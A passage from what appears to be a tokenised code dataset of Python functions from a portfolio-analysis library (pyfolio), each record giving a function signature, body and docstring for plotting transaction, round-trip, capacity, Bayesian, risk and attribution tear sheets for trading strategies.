fig.axes:<EOL><INDENT>plt.setp(ax.get_xticklabels(), visible=True)<EOL><DEDENT>if return_fig:<EOL><INDENT>return fig<EOL><DEDENT>", "docstring": "Generate a number of plots for analyzing a\nstrategy's positions and holdings.\n\n- Plots: gross leverage, exposures, top positions, and holdings.\n- Will also print the top positions held.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\nshow_and_plot_top_pos : int, optional\n    By default, this is 2, and both prints and plots the\n    top 10 positions.\n    If this is 0, it will only plot; if 1, it will only print.\nhide_positions : bool, optional\n    If True, will not output any symbol names.\n    Overrides show_and_plot_top_pos to 0 to suppress text output.\nreturn_fig : boolean, optional\n    If True, returns the figure that was plotted on.\nsector_mappings : dict or pd.Series, optional\n    Security identifier to sector mapping.\n    Security ids as keys, sectors as values.\ntransactions : pd.DataFrame, optional\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\nestimate_intraday: boolean or str, optional\n    Approximate returns for intraday strategies.\n    See description in create_full_tear_sheet.", "id": "f12208:m4"}
{"signature": "@plotting.customize<EOL>def create_txn_tear_sheet(returns, positions, transactions,<EOL>unadjusted_returns=None, estimate_intraday='<STR_LIT>',<EOL>return_fig=False):", "body": "positions = utils.check_intraday(estimate_intraday, returns,<EOL>positions, transactions)<EOL>vertical_sections = <NUM_LIT:6> if unadjusted_returns is not None else <NUM_LIT:4><EOL>fig = plt.figure(figsize=(<NUM_LIT>, vertical_sections * <NUM_LIT:6>))<EOL>gs = gridspec.GridSpec(vertical_sections, <NUM_LIT:3>, wspace=<NUM_LIT:0.5>, hspace=<NUM_LIT:0.5>)<EOL>ax_turnover = plt.subplot(gs[<NUM_LIT:0>, :])<EOL>ax_daily_volume = plt.subplot(gs[<NUM_LIT:1>, :], sharex=ax_turnover)<EOL>ax_turnover_hist = plt.subplot(gs[<NUM_LIT:2>, :])<EOL>ax_txn_timings = plt.subplot(gs[<NUM_LIT:3>, :])<EOL>plotting.plot_turnover(<EOL>returns,<EOL>transactions,<EOL>positions,<EOL>ax=ax_turnover)<EOL>plotting.plot_daily_volume(returns, transactions, ax=ax_daily_volume)<EOL>try:<EOL><INDENT>plotting.plot_daily_turnover_hist(transactions, positions,<EOL>ax=ax_turnover_hist)<EOL><DEDENT>except ValueError:<EOL><INDENT>warnings.warn('<STR_LIT>', UserWarning)<EOL><DEDENT>plotting.plot_txn_time_hist(transactions, ax=ax_txn_timings)<EOL>if unadjusted_returns is not None:<EOL><INDENT>ax_slippage_sweep = plt.subplot(gs[<NUM_LIT:4>, :])<EOL>plotting.plot_slippage_sweep(unadjusted_returns,<EOL>positions,<EOL>transactions,<EOL>ax=ax_slippage_sweep<EOL>)<EOL>ax_slippage_sensitivity = plt.subplot(gs[<NUM_LIT:5>, :])<EOL>plotting.plot_slippage_sensitivity(unadjusted_returns,<EOL>positions,<EOL>transactions,<EOL>ax=ax_slippage_sensitivity<EOL>)<EOL><DEDENT>for ax in fig.axes:<EOL><INDENT>plt.setp(ax.get_xticklabels(), visible=True)<EOL><DEDENT>if return_fig:<EOL><INDENT>return fig<EOL><DEDENT>", "docstring": "Generate a number of plots for analyzing a strategy's transactions.\n\nPlots: turnover, daily volume, and a histogram of daily volume.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\nunadjusted_returns : pd.Series, optional\n    Daily unadjusted returns of the strategy, noncumulative.\n    Will plot additional swippage sweep analysis.\n     - See pyfolio.plotting.plot_swippage_sleep and\n       pyfolio.plotting.plot_slippage_sensitivity\nestimate_intraday: boolean or str, optional\n    Approximate returns for intraday strategies.\n    See description in create_full_tear_sheet.\nreturn_fig : boolean, optional\n    If True, returns the figure that was plotted on.", "id": "f12208:m5"}
{"signature": "@plotting.customize<EOL>def create_round_trip_tear_sheet(returns, positions, transactions,<EOL>sector_mappings=None,<EOL>estimate_intraday='<STR_LIT>', return_fig=False):", "body": "positions = utils.check_intraday(estimate_intraday, returns,<EOL>positions, transactions)<EOL>transactions_closed = round_trips.add_closing_transactions(positions,<EOL>transactions)<EOL>trades = round_trips.extract_round_trips(<EOL>transactions_closed,<EOL>portfolio_value=positions.sum(axis='<STR_LIT>') / (<NUM_LIT:1> + returns)<EOL>)<EOL>if len(trades) < <NUM_LIT:5>:<EOL><INDENT>warnings.warn(<EOL>\"\"\"<STR_LIT>\"\"\", UserWarning)<EOL>return<EOL><DEDENT>round_trips.print_round_trip_stats(trades)<EOL>plotting.show_profit_attribution(trades)<EOL>if sector_mappings is not None:<EOL><INDENT>sector_trades = round_trips.apply_sector_mappings_to_round_trips(<EOL>trades, sector_mappings)<EOL>plotting.show_profit_attribution(sector_trades)<EOL><DEDENT>fig = plt.figure(figsize=(<NUM_LIT>, <NUM_LIT:3> * <NUM_LIT:6>))<EOL>gs = gridspec.GridSpec(<NUM_LIT:3>, <NUM_LIT:2>, wspace=<NUM_LIT:0.5>, hspace=<NUM_LIT:0.5>)<EOL>ax_trade_lifetimes = plt.subplot(gs[<NUM_LIT:0>, :])<EOL>ax_prob_profit_trade = plt.subplot(gs[<NUM_LIT:1>, <NUM_LIT:0>])<EOL>ax_holding_time = plt.subplot(gs[<NUM_LIT:1>, <NUM_LIT:1>])<EOL>ax_pnl_per_round_trip_dollars = plt.subplot(gs[<NUM_LIT:2>, <NUM_LIT:0>])<EOL>ax_pnl_per_round_trip_pct = plt.subplot(gs[<NUM_LIT:2>, <NUM_LIT:1>])<EOL>plotting.plot_round_trip_lifetimes(trades, ax=ax_trade_lifetimes)<EOL>plotting.plot_prob_profit_trade(trades, ax=ax_prob_profit_trade)<EOL>trade_holding_times = [x.days for x in trades['<STR_LIT>']]<EOL>sns.distplot(trade_holding_times, kde=False, ax=ax_holding_time)<EOL>ax_holding_time.set(xlabel='<STR_LIT>')<EOL>sns.distplot(trades.pnl, kde=False, ax=ax_pnl_per_round_trip_dollars)<EOL>ax_pnl_per_round_trip_dollars.set(xlabel='<STR_LIT>')<EOL>sns.distplot(trades.returns.dropna() * <NUM_LIT:100>, kde=False,<EOL>ax=ax_pnl_per_round_trip_pct)<EOL>ax_pnl_per_round_trip_pct.set(<EOL>xlabel='<STR_LIT>')<EOL>gs.tight_layout(fig)<EOL>if return_fig:<EOL><INDENT>return fig<EOL><DEDENT>", "docstring": "Generate a number of figures and plots describing the duration,\nfrequency, and profitability of trade \"round trips.\"\nA round trip is started when a new long or short position is\nopened and is only completed when the number of shares in that\nposition returns to or crosses zero.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\nsector_mappings : dict or pd.Series, optional\n    Security identifier to sector mapping.\n    Security ids as keys, sectors as values.\nestimate_intraday: boolean or str, optional\n    Approximate returns for intraday strategies.\n    See description in create_full_tear_sheet.\nreturn_fig : boolean, optional\n    If True, returns the figure that was plotted on.", "id": "f12208:m6"}
{"signature": "@plotting.customize<EOL>def create_interesting_times_tear_sheet(<EOL>returns, benchmark_rets=None, legend_loc='<STR_LIT>', return_fig=False):", "body": "rets_interesting = timeseries.extract_interesting_date_ranges(returns)<EOL>if not rets_interesting:<EOL><INDENT>warnings.warn('<STR_LIT>'<EOL>'<STR_LIT>', UserWarning)<EOL>return<EOL><DEDENT>utils.print_table(pd.DataFrame(rets_interesting)<EOL>.describe().transpose()<EOL>.loc[:, ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']] * <NUM_LIT:100>,<EOL>name='<STR_LIT>',<EOL>float_format='<STR_LIT>'.format)<EOL>if benchmark_rets is not None:<EOL><INDENT>returns = utils.clip_returns_to_benchmark(returns, benchmark_rets)<EOL>bmark_interesting = timeseries.extract_interesting_date_ranges(<EOL>benchmark_rets)<EOL><DEDENT>num_plots = len(rets_interesting)<EOL>num_rows = int((num_plots + <NUM_LIT:1>) / <NUM_LIT>)<EOL>fig = plt.figure(figsize=(<NUM_LIT>, num_rows * <NUM_LIT>))<EOL>gs = gridspec.GridSpec(num_rows, <NUM_LIT:2>, wspace=<NUM_LIT:0.5>, hspace=<NUM_LIT:0.5>)<EOL>for i, (name, rets_period) in enumerate(rets_interesting.items()):<EOL><INDENT>ax = plt.subplot(gs[int(i / <NUM_LIT>), i % <NUM_LIT:2>])<EOL>ep.cum_returns(rets_period).plot(<EOL>ax=ax, color='<STR_LIT>', label='<STR_LIT>', alpha=<NUM_LIT>, lw=<NUM_LIT:2>)<EOL>if benchmark_rets is not None:<EOL><INDENT>ep.cum_returns(bmark_interesting[name]).plot(<EOL>ax=ax, color='<STR_LIT>', label='<STR_LIT>', alpha=<NUM_LIT>)<EOL>ax.legend(['<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL><DEDENT>else:<EOL><INDENT>ax.legend(['<STR_LIT>'],<EOL>loc=legend_loc, frameon=True, framealpha=<NUM_LIT:0.5>)<EOL><DEDENT>ax.set_title(name)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL><DEDENT>if return_fig:<EOL><INDENT>return fig<EOL><DEDENT>", "docstring": "Generate a number of returns plots around interesting points in time,\nlike the flash crash and 9/11.\n\nPlots: returns around the dotcom bubble burst, Lehmann Brothers' failure,\n9/11, US downgrade and EU debt crisis, Fukushima meltdown, US housing\nbubble burst, EZB IR, Great Recession (August 2007, March and September\nof 2008, Q1 & Q2 2009), flash crash, April and October 2014.\n\nbenchmark_rets must be passed, as it is meaningless to analyze performance\nduring interesting times without some benchmark to refer to.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\nbenchmark_rets : pd.Series\n    Daily noncumulative returns of the benchmark.\n     - This is in the same style as returns.\nlegend_loc : plt.legend_loc, optional\n     The legend's location.\nreturn_fig : boolean, optional\n    If True, returns the figure that was plotted on.", "id": "f12208:m7"}
{"signature": "@plotting.customize<EOL>def create_capacity_tear_sheet(returns, positions, transactions,<EOL>market_data,<EOL>liquidation_daily_vol_limit=<NUM_LIT>,<EOL>trade_daily_vol_limit=<NUM_LIT>,<EOL>last_n_days=utils.APPROX_BDAYS_PER_MONTH * <NUM_LIT:6>,<EOL>days_to_liquidate_limit=<NUM_LIT:1>,<EOL>estimate_intraday='<STR_LIT>'):", "body": "positions = utils.check_intraday(estimate_intraday, returns,<EOL>positions, transactions)<EOL>print(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>max_days_by_ticker = capacity.get_max_days_to_liquidate_by_ticker(<EOL>positions, market_data,<EOL>max_bar_consumption=liquidation_daily_vol_limit,<EOL>capital_base=<NUM_LIT>,<EOL>mean_volume_window=<NUM_LIT:5>)<EOL>max_days_by_ticker.index = (<EOL>max_days_by_ticker.index.map(utils.format_asset))<EOL>print(\"<STR_LIT>\")<EOL>utils.print_table(<EOL>max_days_by_ticker[max_days_by_ticker.days_to_liquidate ><EOL>days_to_liquidate_limit])<EOL>max_days_by_ticker_lnd = capacity.get_max_days_to_liquidate_by_ticker(<EOL>positions, market_data,<EOL>max_bar_consumption=liquidation_daily_vol_limit,<EOL>capital_base=<NUM_LIT>,<EOL>mean_volume_window=<NUM_LIT:5>,<EOL>last_n_days=last_n_days)<EOL>max_days_by_ticker_lnd.index = (<EOL>max_days_by_ticker_lnd.index.map(utils.format_asset))<EOL>print(\"<STR_LIT>\".format(last_n_days))<EOL>utils.print_table(<EOL>max_days_by_ticker_lnd[max_days_by_ticker_lnd.days_to_liquidate > <NUM_LIT:1>])<EOL>llt = capacity.get_low_liquidity_transactions(transactions, market_data)<EOL>llt.index = llt.index.map(utils.format_asset)<EOL>print('<STR_LIT>'<EOL>'<STR_LIT>'.format(trade_daily_vol_limit * <NUM_LIT:100>))<EOL>utils.print_table(<EOL>llt[llt['<STR_LIT>'] > trade_daily_vol_limit * <NUM_LIT:100>])<EOL>llt = capacity.get_low_liquidity_transactions(<EOL>transactions, market_data, last_n_days=last_n_days)<EOL>print(\"<STR_LIT>\".format(last_n_days))<EOL>utils.print_table(<EOL>llt[llt['<STR_LIT>'] > trade_daily_vol_limit * <NUM_LIT:100>])<EOL>bt_starting_capital = positions.iloc[<NUM_LIT:0>].sum() / (<NUM_LIT:1> + returns.iloc[<NUM_LIT:0>])<EOL>fig, ax_capacity_sweep = plt.subplots(figsize=(<NUM_LIT>, <NUM_LIT:6>))<EOL>plotting.plot_capacity_sweep(returns, transactions, market_data,<EOL>bt_starting_capital,<EOL>min_pv=<NUM_LIT>,<EOL>max_pv=<NUM_LIT>,<EOL>step_size=<NUM_LIT>,<EOL>ax=ax_capacity_sweep)<EOL>", "docstring": "Generates a report detailing portfolio size constraints set by\nleast liquid tickers. Plots a \"capacity sweep,\" a curve describing\nprojected sharpe ratio given the slippage penalties that are\napplied at various capital bases.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\npositions : pd.DataFrame\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\nmarket_data : pd.Panel\n    Panel with items axis of 'price' and 'volume' DataFrames.\n    The major and minor axes should match those of the\n    the passed positions DataFrame (same dates and symbols).\nliquidation_daily_vol_limit : float\n    Max proportion of a daily bar that can be consumed in the\n    process of liquidating a position in the\n    \"days to liquidation\" analysis.\ntrade_daily_vol_limit : float\n    Flag daily transaction totals that exceed proportion of\n    daily bar.\nlast_n_days : integer\n    Compute max position allocation and dollar volume for only\n    the last N days of the backtest\ndays_to_liquidate_limit : integer\n    Display all tickers with greater max days to liquidation.\nestimate_intraday: boolean or str, optional\n    Approximate returns for intraday strategies.\n    See description in create_full_tear_sheet.", "id": "f12208:m8"}
{"signature": "@plotting.customize<EOL>def create_bayesian_tear_sheet(returns, benchmark_rets=None,<EOL>live_start_date=None, samples=<NUM_LIT>,<EOL>return_fig=False, stoch_vol=False,<EOL>progressbar=True):", "body": "if not have_bayesian:<EOL><INDENT>raise NotImplementedError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>if live_start_date is None:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>)<EOL><DEDENT>live_start_date = ep.utils.get_utc_timestamp(live_start_date)<EOL>df_train = returns.loc[returns.index < live_start_date]<EOL>df_test = returns.loc[returns.index >= live_start_date]<EOL>print(\"<STR_LIT>\")<EOL>previous_time = time()<EOL>start_time = previous_time<EOL>trace_t, ppc_t = bayesian.run_model('<STR_LIT:t>', df_train,<EOL>returns_test=df_test,<EOL>samples=samples, ppc=True,<EOL>progressbar=progressbar)<EOL>previous_time = timer(\"<STR_LIT>\", previous_time)<EOL>print(\"<STR_LIT>\")<EOL>trace_best = bayesian.run_model('<STR_LIT>', df_train,<EOL>returns_test=df_test,<EOL>samples=samples,<EOL>progressbar=progressbar)<EOL>previous_time = timer(\"<STR_LIT>\", previous_time)<EOL>fig = plt.figure(figsize=(<NUM_LIT>, <NUM_LIT:10> * <NUM_LIT:2>))<EOL>gs = gridspec.GridSpec(<NUM_LIT:9>, <NUM_LIT:2>, wspace=<NUM_LIT>, hspace=<NUM_LIT>)<EOL>axs = []<EOL>row = <NUM_LIT:0><EOL>ax_cone = plt.subplot(gs[row, :])<EOL>bayesian.plot_bayes_cone(df_train, df_test, ppc_t, ax=ax_cone)<EOL>previous_time = timer(\"<STR_LIT>\", previous_time)<EOL>row += <NUM_LIT:1><EOL>axs.append(plt.subplot(gs[row, <NUM_LIT:0>]))<EOL>axs.append(plt.subplot(gs[row, <NUM_LIT:1>]))<EOL>row += <NUM_LIT:1><EOL>axs.append(plt.subplot(gs[row, <NUM_LIT:0>]))<EOL>axs.append(plt.subplot(gs[row, <NUM_LIT:1>]))<EOL>row += <NUM_LIT:1><EOL>axs.append(plt.subplot(gs[row, <NUM_LIT:0>]))<EOL>axs.append(plt.subplot(gs[row, <NUM_LIT:1>]))<EOL>row += <NUM_LIT:1><EOL>axs.append(plt.subplot(gs[row, :]))<EOL>bayesian.plot_best(trace=trace_best, axs=axs)<EOL>previous_time = timer(\"<STR_LIT>\", previous_time)<EOL>row += <NUM_LIT:1><EOL>ax_ret_pred_day = plt.subplot(gs[row, <NUM_LIT:0>])<EOL>ax_ret_pred_week = plt.subplot(gs[row, <NUM_LIT:1>])<EOL>day_pred = ppc_t[:, <NUM_LIT:0>]<EOL>p5 = scipy.stats.scoreatpercentile(day_pred, <NUM_LIT:5>)<EOL>sns.distplot(day_pred,<EOL>ax=ax_ret_pred_day<EOL>)<EOL>ax_ret_pred_day.axvline(p5, linestyle='<STR_LIT>', linewidth=<NUM_LIT>)<EOL>ax_ret_pred_day.set_xlabel('<STR_LIT>')<EOL>ax_ret_pred_day.set_ylabel('<STR_LIT>')<EOL>ax_ret_pred_day.text(<NUM_LIT>, <NUM_LIT>, '<STR_LIT>' % p5,<EOL>verticalalignment='<STR_LIT>',<EOL>horizontalalignment='<STR_LIT:right>',<EOL>transform=ax_ret_pred_day.transAxes)<EOL>previous_time = timer(\"<STR_LIT>\", previous_time)<EOL>week_pred = (<EOL>np.cumprod(ppc_t[:, :<NUM_LIT:5>] + <NUM_LIT:1>, <NUM_LIT:1>) - <NUM_LIT:1>)[:, -<NUM_LIT:1>]<EOL>p5 = scipy.stats.scoreatpercentile(week_pred, <NUM_LIT:5>)<EOL>sns.distplot(week_pred,<EOL>ax=ax_ret_pred_week<EOL>)<EOL>ax_ret_pred_week.axvline(p5, linestyle='<STR_LIT>', linewidth=<NUM_LIT>)<EOL>ax_ret_pred_week.set_xlabel('<STR_LIT>')<EOL>ax_ret_pred_week.set_ylabel('<STR_LIT>')<EOL>ax_ret_pred_week.text(<NUM_LIT>, <NUM_LIT>, '<STR_LIT>' % p5,<EOL>verticalalignment='<STR_LIT>',<EOL>horizontalalignment='<STR_LIT:right>',<EOL>transform=ax_ret_pred_week.transAxes)<EOL>previous_time = timer(\"<STR_LIT>\", previous_time)<EOL>if benchmark_rets is not None:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>benchmark_rets = benchmark_rets.loc[df_train.index]<EOL>trace_alpha_beta = bayesian.run_model('<STR_LIT>', df_train,<EOL>bmark=benchmark_rets,<EOL>samples=samples,<EOL>progressbar=progressbar)<EOL>previous_time = timer(\"<STR_LIT>\", previous_time)<EOL>row += <NUM_LIT:1><EOL>ax_alpha = plt.subplot(gs[row, <NUM_LIT:0>])<EOL>ax_beta = plt.subplot(gs[row, <NUM_LIT:1>])<EOL>sns.distplot((<NUM_LIT:1> + trace_alpha_beta['<STR_LIT>'][<NUM_LIT:100>:])**<NUM_LIT> - <NUM_LIT:1>,<EOL>ax=ax_alpha)<EOL>sns.distplot(trace_alpha_beta['<STR_LIT>'][<NUM_LIT:100>:], ax=ax_beta)<EOL>ax_alpha.set_xlabel('<STR_LIT>')<EOL>ax_alpha.set_ylabel('<STR_LIT>')<EOL>ax_beta.set_xlabel('<STR_LIT>')<EOL>ax_beta.set_ylabel('<STR_LIT>')<EOL>previous_time = timer(\"<STR_LIT>\", previous_time)<EOL><DEDENT>if stoch_vol:<EOL><INDENT>returns_cutoff = <NUM_LIT><EOL>print(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(returns_cutoff)<EOL>)<EOL>if df_train.size > returns_cutoff:<EOL><INDENT>df_train_truncated = df_train[-returns_cutoff:]<EOL><DEDENT>_, trace_stoch_vol = bayesian.model_stoch_vol(df_train_truncated)<EOL>previous_time = timer(<EOL>\"<STR_LIT>\", previous_time)<EOL>row += <NUM_LIT:1><EOL>ax_volatility = plt.subplot(gs[row, :])<EOL>bayesian.plot_stoch_vol(<EOL>df_train_truncated, trace=trace_stoch_vol, ax=ax_volatility)<EOL>previous_time = timer(<EOL>\"<STR_LIT>\", previous_time)<EOL><DEDENT>total_time = time() - start_time<EOL>print(\"<STR_LIT>\".format(total_time))<EOL>gs.tight_layout(fig)<EOL>if return_fig:<EOL><INDENT>return fig<EOL><DEDENT>", "docstring": "Generate a number of Bayesian distributions and a Bayesian\ncone plot of returns.\n\nPlots: Sharpe distribution, annual volatility distribution,\nannual alpha distribution, beta distribution, predicted 1 and 5\nday returns distributions, and a cumulative returns cone plot.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in create_full_tear_sheet.\nbenchmark_rets : pd.Series, optional\n    Daily noncumulative returns of the benchmark.\n     - This is in the same style as returns.\nlive_start_date : datetime, optional\n    The point in time when the strategy began live\n    trading, after its backtest period.\nsamples : int, optional\n    Number of posterior samples to draw.\nreturn_fig : boolean, optional\n    If True, returns the figure that was plotted on.\nstoch_vol : boolean, optional\n    If True, run and plot the stochastic volatility model\nprogressbar : boolean, optional\n    If True, show a progress bar", "id": "f12208:m9"}
{"signature": "@plotting.customize<EOL>def create_risk_tear_sheet(positions,<EOL>style_factor_panel=None,<EOL>sectors=None,<EOL>caps=None,<EOL>shares_held=None,<EOL>volumes=None,<EOL>percentile=None,<EOL>returns=None,<EOL>transactions=None,<EOL>estimate_intraday='<STR_LIT>',<EOL>return_fig=False):", "body": "positions = utils.check_intraday(estimate_intraday, returns,<EOL>positions, transactions)<EOL>idx = positions.index & style_factor_panel.iloc[<NUM_LIT:0>].index & sectors.index& caps.index & shares_held.index & volumes.index<EOL>positions = positions.loc[idx]<EOL>vertical_sections = <NUM_LIT:0><EOL>if style_factor_panel is not None:<EOL><INDENT>vertical_sections += len(style_factor_panel.items)<EOL>new_style_dict = {}<EOL>for item in style_factor_panel.items:<EOL><INDENT>new_style_dict.update({item:<EOL>style_factor_panel.loc[item].loc[idx]})<EOL><DEDENT>style_factor_panel = pd.Panel()<EOL>style_factor_panel = style_factor_panel.from_dict(new_style_dict)<EOL><DEDENT>if sectors is not None:<EOL><INDENT>vertical_sections += <NUM_LIT:4><EOL>sectors = sectors.loc[idx]<EOL><DEDENT>if caps is not None:<EOL><INDENT>vertical_sections += <NUM_LIT:4><EOL>caps = caps.loc[idx]<EOL><DEDENT>if (shares_held is not None) & (volumes is not None)& (percentile is not None):<EOL><INDENT>vertical_sections += <NUM_LIT:3><EOL>shares_held = shares_held.loc[idx]<EOL>volumes = volumes.loc[idx]<EOL><DEDENT>if percentile is None:<EOL><INDENT>percentile = <NUM_LIT:0.1><EOL><DEDENT>fig = plt.figure(figsize=[<NUM_LIT>, vertical_sections * <NUM_LIT:6>])<EOL>gs = gridspec.GridSpec(vertical_sections, <NUM_LIT:3>, wspace=<NUM_LIT:0.5>, hspace=<NUM_LIT:0.5>)<EOL>if style_factor_panel is not None:<EOL><INDENT>style_axes = []<EOL>style_axes.append(plt.subplot(gs[<NUM_LIT:0>, :]))<EOL>for i in range(<NUM_LIT:1>, len(style_factor_panel.items)):<EOL><INDENT>style_axes.append(plt.subplot(gs[i, :], sharex=style_axes[<NUM_LIT:0>]))<EOL><DEDENT>j = <NUM_LIT:0><EOL>for name, df in style_factor_panel.iteritems():<EOL><INDENT>sfe = risk.compute_style_factor_exposures(positions, df)<EOL>risk.plot_style_factor_exposures(sfe, name, style_axes[j])<EOL>j += <NUM_LIT:1><EOL><DEDENT><DEDENT>if sectors is not None:<EOL><INDENT>i += <NUM_LIT:1><EOL>ax_sector_longshort = plt.subplot(gs[i:i+<NUM_LIT:2>, :], sharex=style_axes[<NUM_LIT:0>])<EOL>i += <NUM_LIT:2><EOL>ax_sector_gross = plt.subplot(gs[i, :], sharex=style_axes[<NUM_LIT:0>])<EOL>i += <NUM_LIT:1><EOL>ax_sector_net = plt.subplot(gs[i, :], sharex=style_axes[<NUM_LIT:0>])<EOL>long_exposures, short_exposures, gross_exposures, net_exposures= risk.compute_sector_exposures(positions, sectors)<EOL>risk.plot_sector_exposures_longshort(long_exposures, short_exposures,<EOL>ax=ax_sector_longshort)<EOL>risk.plot_sector_exposures_gross(gross_exposures, ax=ax_sector_gross)<EOL>risk.plot_sector_exposures_net(net_exposures, ax=ax_sector_net)<EOL><DEDENT>if caps is not None:<EOL><INDENT>i += <NUM_LIT:1><EOL>ax_cap_longshort = plt.subplot(gs[i:i+<NUM_LIT:2>, :], sharex=style_axes[<NUM_LIT:0>])<EOL>i += <NUM_LIT:2><EOL>ax_cap_gross = plt.subplot(gs[i, :], sharex=style_axes[<NUM_LIT:0>])<EOL>i += <NUM_LIT:1><EOL>ax_cap_net = plt.subplot(gs[i, :], sharex=style_axes[<NUM_LIT:0>])<EOL>long_exposures, short_exposures, gross_exposures, net_exposures= risk.compute_cap_exposures(positions, caps)<EOL>risk.plot_cap_exposures_longshort(long_exposures, short_exposures,<EOL>ax_cap_longshort)<EOL>risk.plot_cap_exposures_gross(gross_exposures, ax_cap_gross)<EOL>risk.plot_cap_exposures_net(net_exposures, ax_cap_net)<EOL><DEDENT>if volumes is not None:<EOL><INDENT>i += <NUM_LIT:1><EOL>ax_vol_longshort = plt.subplot(gs[i:i+<NUM_LIT:2>, :], sharex=style_axes[<NUM_LIT:0>])<EOL>i += <NUM_LIT:2><EOL>ax_vol_gross = plt.subplot(gs[i, :], sharex=style_axes[<NUM_LIT:0>])<EOL>longed_threshold, shorted_threshold, grossed_threshold= risk.compute_volume_exposures(positions, volumes, percentile)<EOL>risk.plot_volume_exposures_longshort(longed_threshold,<EOL>shorted_threshold, percentile,<EOL>ax_vol_longshort)<EOL>risk.plot_volume_exposures_gross(grossed_threshold, percentile,<EOL>ax_vol_gross)<EOL><DEDENT>for ax in fig.axes:<EOL><INDENT>plt.setp(ax.get_xticklabels(), visible=True)<EOL><DEDENT>if return_fig:<EOL><INDENT>return fig<EOL><DEDENT>", "docstring": "Creates risk tear sheet: computes and plots style factor exposures, sector\nexposures, market cap exposures and volume exposures.\n\nParameters\n----------\npositions : pd.DataFrame\n    Daily equity positions of algorithm, in dollars.\n    - DataFrame with dates as index, equities as columns\n    - Last column is cash held\n    - Example:\n                 Equity(24   Equity(62\n                   [AAPL])      [ABT])             cash\n    2017-04-03\t-108062.40 \t  4401.540     2.247757e+07\n    2017-04-04\t-108852.00\t  4373.820     2.540999e+07\n    2017-04-05\t-119968.66\t  4336.200     2.839812e+07\n\nstyle_factor_panel : pd.Panel\n    Panel where each item is a DataFrame that tabulates style factor per\n    equity per day.\n    - Each item has dates as index, equities as columns\n    - Example item:\n                 Equity(24   Equity(62\n                   [AAPL])      [ABT])\n    2017-04-03\t  -0.51284     1.39173\n    2017-04-04\t  -0.73381     0.98149\n    2017-04-05\t  -0.90132\t   1.13981\n\nsectors : pd.DataFrame\n    Daily Morningstar sector code per asset\n    - DataFrame with dates as index and equities as columns\n    - Example:\n                 Equity(24   Equity(62\n                   [AAPL])      [ABT])\n    2017-04-03\t     311.0       206.0\n    2017-04-04\t     311.0       206.0\n    2017-04-05\t     311.0\t     206.0\n\ncaps : pd.DataFrame\n    Daily market cap per asset\n    - DataFrame with dates as index and equities as columns\n    - Example:\n                      Equity(24        Equity(62\n                        [AAPL])           [ABT])\n    2017-04-03     1.327160e+10     6.402460e+10\n    2017-04-04\t   1.329620e+10     6.403694e+10\n    2017-04-05\t   1.297464e+10\t    6.397187e+10\n\nshares_held : pd.DataFrame\n    Daily number of shares held by an algorithm.\n    - Example:\n                      Equity(24        Equity(62\n                        [AAPL])           [ABT])\n    2017-04-03             1915            -2595\n    2017-04-04\t           1968            -3272\n    2017-04-05\t           2104            -3917\n\nvolumes : pd.DataFrame\n    Daily volume per asset\n    - DataFrame with dates as index and equities as columns\n    - Example:\n                      Equity(24        Equity(62\n                        [AAPL])           [ABT])\n    2017-04-03      34940859.00       4665573.80\n    2017-04-04\t    35603329.10       4818463.90\n    2017-04-05\t    41846731.75\t      4129153.10\n\npercentile : float\n    Percentile to use when computing and plotting volume exposures.\n    - Defaults to 10th percentile", "id": "f12208:m10"}
{"signature": "@plotting.customize<EOL>def create_perf_attrib_tear_sheet(returns,<EOL>positions,<EOL>factor_returns,<EOL>factor_loadings,<EOL>transactions=None,<EOL>pos_in_dollars=True,<EOL>return_fig=False,<EOL>factor_partitions=FACTOR_PARTITIONS):", "body": "portfolio_exposures, perf_attrib_data = perf_attrib.perf_attrib(<EOL>returns, positions, factor_returns, factor_loadings, transactions,<EOL>pos_in_dollars=pos_in_dollars<EOL>)<EOL>display(Markdown(\"<STR_LIT>\"))<EOL>perf_attrib.show_perf_attrib_stats(returns, positions, factor_returns,<EOL>factor_loadings, transactions,<EOL>pos_in_dollars)<EOL>vertical_sections = <NUM_LIT:1> + <NUM_LIT:2> * max(len(factor_partitions), <NUM_LIT:1>)<EOL>current_section = <NUM_LIT:0><EOL>fig = plt.figure(figsize=[<NUM_LIT>, vertical_sections * <NUM_LIT:6>])<EOL>gs = gridspec.GridSpec(vertical_sections, <NUM_LIT:1>,<EOL>wspace=<NUM_LIT:0.5>, 